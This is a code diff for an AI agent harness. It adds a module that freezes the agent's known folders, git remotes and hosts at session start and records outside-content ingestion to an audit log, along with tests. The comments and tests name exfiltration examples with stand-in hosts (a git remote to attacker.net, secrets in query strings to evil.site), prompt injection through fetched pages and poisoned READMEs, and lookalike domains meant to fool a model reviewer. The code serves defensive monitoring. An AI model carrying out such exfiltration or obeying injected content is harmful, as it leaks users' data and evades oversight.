Python
Step 1: known world frozen at session start; ingestion facts to audit only
Devika Verma186d29a3fd70
diff --git a/coworker/agent.py b/coworker/agent.pyindex a04a54bf..8596b464 100644--- a/coworker/agent.py+++ b/coworker/agent.py@@ -32,6 +32,7 @@ from .memory import ()from .permissions import Mode, PermissionEnginefrom .project import load_agents_md+from . import session_factsfrom .roots import RootDir, normalize_roots, render_contextfrom .providers import ProviderClient, ProviderRouterfrom .overrides import RiskOverrideStore@@ -490,6 +491,17 @@ def build_engine(engine.todo = todo # type: ignore[attr-defined]engine.agent_name = agent.name # type: ignore[attr-defined]engine.roots = root_list # type: ignore[attr-defined] # shared list; Slice C mutates in place+ # Session facts (spec Part 0 / §2.4): freeze the known world NOW, before the agent has+ # acted. Freezing is the whole point — compared against live state, an agent that runs+ # `git remote add backup https://attacker.net/…` would make its own destination look+ # familiar. Nothing consumes this in v1; ingestion is recorded to the audit log only.+ engine.session_facts = session_facts.SessionFacts(+ world=session_facts.capture(+ roots=root_list,+ allowed_domains=config.allowed_domains,+ workspace=ws,+ )+ )engine.audit_context = {"session_id": session_id or "","agent": agent.name,diff --git a/coworker/engine.py b/coworker/engine.pyindex f8f1afb6..20ccfe10 100644--- a/coworker/engine.py+++ b/coworker/engine.py@@ -20,6 +20,7 @@ from enum import Enumfrom typing import Any, AsyncIterator, Awaitable, Callable, Optionalfrom . import compaction as _compaction+from . import session_factsfrom .events import Event, EventTypefrom .permissions import Mode, PermissionEnginefrom .providers import AssistantTurn, ProviderClient, ToolCall@@ -112,6 +113,11 @@ class TurnEngine:self.compaction_state: Optional[_compaction.CompactionState] = Noneself.compaction_settings: Optional[Callable[[], dict[str, Any]]] = Noneself.is_attended: Optional[Callable[[], bool]] = None+ # Session facts (spec Part 0 / §2.4) — the known world frozen at session start, plus+ # the per-turn ingestion record. Set post-construction by the surface, same as+ # compaction above, so the constructor footprint stays put. None ⇒ nothing recorded+ # and behaviour is byte-identical; NOTHING consumes it in v1 either way.+ self.session_facts: Optional[session_facts.SessionFacts] = Noneself._last_context_tokens: Optional[int] = Noneself.audit_context: dict[str, Any] = {}if instructions and not (@@ -189,6 +195,8 @@ class TurnEngine:message["_display"] = displayself.messages.append(message)self._cancel.clear()+ if self.session_facts is not None:+ self.session_facts.begin_turn()data: dict[str, Any] = {"input": user_input}if source is not None:data["source"] = source@@ -827,6 +835,7 @@ class TurnEngine:result=result,result_preview=_preview(result),)+ self._note_ingestion(tool_call, status)rule = self._standing_notes.pop(tool_call.id, "")return Event(EventType.TOOL_FINISHED,@@ -839,6 +848,25 @@ class TurnEngine:},)+ def _note_ingestion(self, tool_call: ToolCall, status: str) -> None:+ """Record that outside content entered this session, and from where. The fact and+ the source only — never the content, not even truncated.++ **Nothing consumes this in v1.** It exists so that when the reviewer is eventually+ offered the fact (v2, `PRV-1`), the question "would it have changed a verdict?" can+ be answered by replaying a shadow run instead of re-argued. See+ `session_facts.py` and the spec's Part 0.++ Failed calls are skipped: a fetch that errored brought nothing in.+ """+ if self.session_facts is None or status != "ok":+ return+ spec = self.registry.get(tool_call.name)+ if not session_facts.is_ingesting(spec.metadata if spec else None):+ return+ record = self.session_facts.note(tool_call.name, tool_call.arguments)+ self._audit(tool_call, **record.to_audit())+def _audit(self, tool_call: ToolCall, **event: Any) -> None:if self.audit_sink is None:returndiff --git a/coworker/session_facts.py b/coworker/session_facts.pynew file mode 100644index 00000000..4c35802a--- /dev/null+++ b/coworker/session_facts.py@@ -0,0 +1,198 @@+"""Session facts — what was already familiar when the session began, and what arrived from+outside since.++Both are deterministic: no model is involved in producing either. **In v1 neither changes a+decision.** The known world is rendered into the reviewer's prefix as orientation (step 2);+ingestion goes to the audit log and nothing reads it. That is deliberate — recording it now+means the v2 question ("would this fact have changed a verdict?") is answerable by replaying+a shadow run instead of re-arguing it.++Design of record: `ocw-context/docs/reviewed-auto-mode.md` Part 0 and §2.4.+"""++from __future__ import annotations++import subprocess+import time+from dataclasses import dataclass, field+from pathlib import Path+from typing import Any, Iterable, Optional+from urllib.parse import urlsplit++# Tool categories whose results carry content from outside this machine. Keyed on the+# category rather than a list of tool names so new connectors are covered the day they ship:+# web web_fetch, web_search+# connector gmail, slack, notion, … — anything reading a third-party service+# mcp third-party MCP tools, provenance unknown by construction+# Deliberately absent: `search` (that's local `grep`), `filesystem`, `git`, `shell`.+# `messaging` is absent too — `send_message` / `send_file` push data out, they don't pull it+# in. Local reads are excluded on purpose: count them and every turn becomes an ingestion+# turn, which kills the signal. The cost of that exclusion is recorded in the spec — a+# poisoned README in a cloned repo injects with no fact at all.+INGESTING_CATEGORIES = frozenset({"web", "connector", "mcp"})+++def is_ingesting(metadata: Any) -> bool:+ """True when this tool's result can carry content authored outside the machine."""+ return getattr(metadata, "category", "") in INGESTING_CATEGORIES+++def ingestion_source(arguments: dict[str, Any] | None) -> str:+ """A short, non-identifying label for where content came from — a hostname when the+ call names one, `-` otherwise. Never the content itself, and never a full URL: a query+ string is exactly the kind of thing that carries a payload."""+ raw = str((arguments or {}).get("url", "")).strip()+ if not raw:+ return "-"+ return (urlsplit(raw).hostname or "-").lower()+++def _git_remotes(cwd: Path) -> tuple[tuple[str, str], ...]:+ """`(name, url)` per remote, deduplicated (git prints fetch and push separately).++ Best-effort by design: no git, not a repo, or a hang all yield an empty tuple. An empty+ known world is a reviewer with less orientation, never a blocked session.+ """+ try:+ proc = subprocess.run(+ ["git", "remote", "-v"],+ cwd=str(cwd),+ capture_output=True,+ text=True,+ timeout=5,+ check=False,+ )+ except (OSError, subprocess.SubprocessError):+ return ()+ seen: dict[str, str] = {}+ for line in proc.stdout.splitlines():+ parts = line.split()+ if len(parts) >= 2:+ seen.setdefault(parts[0], parts[1])+ return tuple(seen.items())+++@dataclass(frozen=True)+class KnownWorld:+ """Where the user was already working when the session started. Frozen on purpose.++ Freezing is what makes it useful: compared against the *live* state, an agent that runs+ `git remote add backup https://attacker.net/r.git` would make its own destination look+ familiar. Compared against a snapshot taken before it acted, it cannot.++ "Known" means *familiar*, never *safe* — nobody decided anything, the user has simply+ worked here before. The wording matters because the reviewer reads it: told something is+ "trusted", a model weighs it as reassurance. (`workspace_trust.json` keeps the word+ "trusted" because that one IS a decision.)+ """++ roots: tuple[tuple[str, bool], ...] = () # (path, writable)+ remotes: tuple[tuple[str, str], ...] = () # (name, url)+ hosts: tuple[str, ...] = () # NOT rendered — see `render`+ captured_at: float = 0.0++ def render(self) -> str:+ """The block that sits in the reviewer prompt's cached prefix.++ **Folders and remotes only.** Hostnames are held in `hosts` but deliberately not+ shown: a host list is only useful to a reviewer that can answer "is this destination+ in the list?", and that is a suffix match (`host == dom or host.endswith("." + dom)`)+ which models get wrong and Python does not. Printing `github.com` beside an action+ reaching `github.com.evil.site` invites the wrong answer rather than preventing it.+ Folders and remotes carry no such trap — judging them is "is this the thing I was+ told about?", not string arithmetic.++ `hosts` is kept for `DST-1` in v2, which will surface it as one *computed* line and+ never as a list for the model to search.+ """+ lines = ["KNOWN WORLD (frozen when this session started)"]+ for path, writable in self.roots:+ lines.append(+ f" folder {path} [{'read-write' if writable else 'read-only'}]"+ )+ for name, url in self.remotes:+ lines.append(f" remote {name} -> {url}")+ return "\n".join(lines) if len(lines) > 1 else ""+++def capture(+ *,+ roots: Iterable[Any] | None = None,+ allowed_domains: Iterable[str] | None = None,+ workspace: Optional[Path] = None,+) -> KnownWorld:+ """Take the snapshot. Called once, at session start, before the agent has acted."""+ root_list = list(roots or [])+ rendered_roots = tuple(+ (str(getattr(r, "path", r)), bool(getattr(r, "writable", False)))+ for r in root_list+ )++ cwd = workspace+ if cwd is None and root_list:+ cwd = Path(str(getattr(root_list[0], "path", root_list[0])))+ remotes = _git_remotes(cwd) if cwd else ()++ hosts = {d.strip().lower() for d in (allowed_domains or []) if d and d.strip()}+ for _name, url in remotes:+ host = urlsplit(url if "://" in url else "//" + url.replace(":", "/", 1)).hostname+ if host:+ hosts.add(host.lower())++ return KnownWorld(+ roots=rendered_roots,+ remotes=remotes,+ hosts=tuple(sorted(hosts)),+ captured_at=time.time(),+ )+++@dataclass+class Ingestion:+ """One arrival of outside content. The fact and its source — never the content.++ Two properties worth keeping in mind before anything consumes this:++ * **It never accuses.** The record is identical for an agent following a documentation+ link found in an issue and for one running an injected `curl`, because in both cases+ the agent really did read that issue. It raises the burden of proof; judging scope is+ what separates the two.+ * **Its absence is not proof of a clean session.** Local reads are excluded, so a+ poisoned file already in the workspace produces no record at all.+ """++ turn: int+ tool: str+ source: str++ def to_audit(self) -> dict[str, Any]:+ return {+ "stage": "ingested",+ "status": "external",+ "reason": f"turn {self.turn} · {self.source}",+ }+++@dataclass+class SessionFacts:+ """The known world plus the per-turn ingestion record.++ `turn` is bumped by the engine at the start of each user turn so ingestion can be+ attributed. Nothing in v1 reads `ingestions` — it exists so the audit log has a+ baseline; see the module docstring.+ """++ world: KnownWorld = field(default_factory=KnownWorld)+ turn: int = 0+ ingestions: list[Ingestion] = field(default_factory=list)++ def begin_turn(self) -> None:+ self.turn += 1++ def note(self, tool: str, arguments: dict[str, Any] | None) -> Ingestion:+ record = Ingestion(self.turn, tool, ingestion_source(arguments))+ self.ingestions.append(record)+ return record++ def this_turn(self) -> list[Ingestion]:+ return [i for i in self.ingestions if i.turn == self.turn]diff --git a/tests/test_session_facts.py b/tests/test_session_facts.pynew file mode 100644index 00000000..fd4a4a0c--- /dev/null+++ b/tests/test_session_facts.py@@ -0,0 +1,248 @@+"""Step 1 of Auto-Approve (spec Part 0 / §2.4): the known world frozen at session start,+plus ingestion facts recorded to the audit log — and NOTHING consuming either. The main+guarantee under test is that behaviour is unchanged; the golden decision table+(test_decision_matrix_golden.py) is the other half of that proof.+"""++from __future__ import annotations++import asyncio+import subprocess+from dataclasses import dataclass++import pytest++from coworker import session_facts+from coworker.engine import TurnEngine+from coworker.events import EventType+from coworker.permissions import PermissionEngine+from coworker.providers import AssistantTurn, ModelCapabilities, ProviderClient, ToolCall+from coworker.roots import RootDir+from coworker.tools import ToolRegistry+++@dataclass+class _Meta:+ category: str = ""+ requires_approval: bool = False+++# -- KnownWorld: capture ---------------------------------------------------------+++def _git(tmp_path, *args):+ subprocess.run(["git", *args], cwd=tmp_path, check=True, capture_output=True)+++def test_capture_collects_roots_remotes_and_hosts(tmp_path):+ _git(tmp_path, "init")+ _git(tmp_path, "remote", "add", "origin", "https://github.com/org/repo.git")++ world = session_facts.capture(+ roots=[RootDir(path=tmp_path, writable=True)],+ allowed_domains=["Python.org", " ", ""],+ workspace=tmp_path,+ )++ assert world.roots == ((str(tmp_path), True),)+ assert world.remotes == (("origin", "https://github.com/org/repo.git"),)+ # Hosts: declared domains (normalized) + remote hosts. Held, not rendered.+ assert world.hosts == ("github.com", "python.org")+++def test_capture_without_git_repo_is_empty_not_an_error(tmp_path):+ world = session_facts.capture(+ roots=[RootDir(path=tmp_path, writable=False)], workspace=tmp_path+ )+ assert world.remotes == ()+ assert world.roots == ((str(tmp_path), False),)+++def test_capture_is_frozen_a_remote_added_later_stays_unknown(tmp_path):+ _git(tmp_path, "init")+ world = session_facts.capture(roots=[], workspace=tmp_path)+ # The agent repoints the world AFTER the snapshot — the snapshot must not move.+ _git(tmp_path, "remote", "add", "backup", "https://attacker.net/r.git")+ assert world.remotes == ()+ assert "attacker.net" not in world.hosts+++# -- KnownWorld: render (folders and remotes ONLY) -------------------------------+++def test_render_shows_folders_and_remotes_never_hosts(tmp_path):+ world = session_facts.KnownWorld(+ roots=((str(tmp_path), True),),+ remotes=(("origin", "https://github.com/org/repo.git"),),+ hosts=("github.com", "python.org"),+ )+ text = world.render()+ assert f"folder {tmp_path} [read-write]" in text+ # The remote line may mention its own URL's host — that is the remote, not a host list.+ assert "origin -> https://github.com/org/repo.git" in text+ # But no host list: python.org came only from allowed_domains and must not appear.+ assert "python.org" not in text+ assert "host" not in text.lower().replace("github.com/org", "")+++def test_render_empty_world_renders_nothing(tmp_path):+ assert session_facts.KnownWorld().render() == ""+++# -- ingestion classification ----------------------------------------------------++[email protected]("category", ["web", "connector", "mcp"])+def test_outside_content_categories_are_ingesting(category):+ assert session_facts.is_ingesting(_Meta(category=category))++[email protected]("category", ["", "search", "filesystem", "git", "shell", "messaging"])+def test_local_and_outbound_categories_are_not(category):+ assert not session_facts.is_ingesting(_Meta(category=category))+++def test_no_metadata_is_not_ingesting():+ assert not session_facts.is_ingesting(None)+++def test_source_is_hostname_only_never_the_query_string():+ src = session_facts.ingestion_source(+ {"url": "https://GitHub.com/search?q=SECRET_FROM_DOTENV"}+ )+ assert src == "github.com"+++def test_source_without_url_is_a_dash():+ assert session_facts.ingestion_source({}) == "-"+ assert session_facts.ingestion_source(None) == "-"+++# -- SessionFacts: turns ---------------------------------------------------------+++def test_ingestions_are_attributed_to_turns():+ facts = session_facts.SessionFacts()+ facts.begin_turn()+ facts.note("web_fetch", {"url": "https://github.com/x"})+ facts.begin_turn()+ facts.note("gmail_read", {})+ assert [i.turn for i in facts.ingestions] == [1, 2]+ assert [i.source for i in facts.this_turn()] == ["-"]+++def test_audit_shape_carries_fact_and_source_never_content():+ facts = session_facts.SessionFacts()+ facts.begin_turn()+ record = facts.note("web_fetch", {"url": "https://evil.site/x?d=SECRET"})+ row = record.to_audit()+ assert row == {"stage": "ingested", "status": "external", "reason": "turn 1 · evil.site"}+ assert "SECRET" not in str(row)+++# -- engine integration ----------------------------------------------------------+++class _ScriptedProvider(ProviderClient):+ def __init__(self, turns):+ self._turns = list(turns)++ def complete(self, *, model, messages, tools=None, **settings):+ return self._turns.pop(0)++ def capabilities(self, model):+ return ModelCapabilities()+++def _engine_with_web_tool(tmp_path, *, facts):+ def web_fetch(url: str) -> str:+ """Fetch a page.++ Args:+ url: the address+ """+ return "page text with an injected instruction"++ registry = ToolRegistry()+ registry.register(web_fetch, metadata=_Meta(category="web"))+ turns = [+ AssistantTurn(+ tool_calls=[ToolCall(id="c1", name="web_fetch", arguments={"url": "https://github.com/org/repo/issues/42"})],+ finish_reason="tool_calls",+ ),+ AssistantTurn(text="done", finish_reason="stop"),+ ]+ rows: list[dict] = []+ engine = TurnEngine(+ provider=_ScriptedProvider(turns),+ registry=registry,+ permissions=PermissionEngine(+ workspace_root=tmp_path, allowed_domains=["github.com"]+ ),+ model="test-model",+ audit_sink=rows.append,+ )+ engine.session_facts = facts+ return engine, rows+++def _run(engine):+ async def _go():+ return [ev async for ev in engine.run("read the issue")]++ return asyncio.run(_go())+++def test_engine_records_ingestion_to_audit_only(tmp_path):+ facts = session_facts.SessionFacts()+ engine, rows = _engine_with_web_tool(tmp_path, facts=facts)+ events = _run(engine)++ ingested = [r for r in rows if r.get("stage") == "ingested"]+ assert len(ingested) == 1+ assert ingested[0]["reason"] == "turn 1 · github.com"+ assert ingested[0]["status"] == "external"+ assert facts.this_turn()[0].source == "github.com"+ # The fetched text never enters the record.+ assert "injected instruction" not in str(ingested)+ # And the turn itself ran normally — recording changed nothing.+ assert EventType.TOOL_FINISHED in [ev.type for ev in events]+++def test_engine_without_session_facts_is_byte_identical(tmp_path):+ engine, rows = _engine_with_web_tool(tmp_path, facts=None)+ events = _run(engine)+ assert [r for r in rows if r.get("stage") == "ingested"] == []+ assert EventType.TOOL_FINISHED in [ev.type for ev in events]+++def test_failed_calls_bring_nothing_in(tmp_path):+ def web_fetch(url: str) -> str:+ """Fetch a page.++ Args:+ url: the address+ """+ raise RuntimeError("boom")++ registry = ToolRegistry()+ registry.register(web_fetch, metadata=_Meta(category="web"))+ rows: list[dict] = []+ engine = TurnEngine(+ provider=_ScriptedProvider(+ [+ AssistantTurn(+ tool_calls=[ToolCall(id="c1", name="web_fetch", arguments={"url": "https://x.com/"})],+ finish_reason="tool_calls",+ ),+ AssistantTurn(text="done", finish_reason="stop"),+ ]+ ),+ registry=registry,+ permissions=PermissionEngine(workspace_root=tmp_path, allowed_domains=["x.com"]),+ model="test-model",+ audit_sink=rows.append,+ )+ engine.session_facts = session_facts.SessionFacts()+ _run(engine)+ assert [r for r in rows if r.get("stage") == "ingested"] == []